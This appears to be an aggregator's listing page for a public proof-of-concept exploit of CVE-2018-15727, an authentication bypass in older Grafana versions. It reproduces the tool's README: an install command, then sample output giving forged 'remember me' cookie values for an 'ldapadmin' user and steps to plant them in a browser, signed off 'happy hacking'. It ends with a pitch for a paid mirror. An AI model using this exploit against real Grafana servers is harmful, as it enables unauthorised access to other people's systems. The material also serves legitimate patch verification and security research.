CVE-2018-15727 PoC — Grafana 安全漏洞

Source

https://github.com/u238/grafana-CVE-2018-15727

Associated Vulnerability

Title: Grafana 安全漏洞 (CVE-2018-15727)
Description:Grafana 2.x, 3.x, and 4.x before 4.6.4 and 5.x before 5.2.3 allows authentication bypass because an attacker can generate a valid "remember me" cookie knowing only a username of an LDAP or OAuth user.

Description

a small utility to generate a cookie in order to exploit a grafana vulnerability (CVE-2018-15727)

Readme

# Grafana CVE-2018-15727 exploit
## Installation
```
$ go get github.com/u238/grafana-CVE-2018-15727
```

## Usage
```
$ source <(go env)
$ $GOPATH/bin/grafana-CVE-2018-15727 ldapadmin
[i] delete the grafana_sess cookie from your browser session
[i] set following cookies in you browser:
 * for Grafana 5.x:
   grafana_user      : ldapadmin
   grafana_remember  : 8947f2c6b81963b2a45f4293ced63802f0c923daa368a9beda748800335fc72c06ea186e43
 * for Grafana 4.x:
   grafana_user      : ldapadmin
   grafana_remember  : 8d26614cd6a92aaf892eebb066ae17ed65ef6c9bea73f875ed6698a907d807db0026787fc3
[+] happy hacking ;) 
```

## LICENSE

See LICENSE file.

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →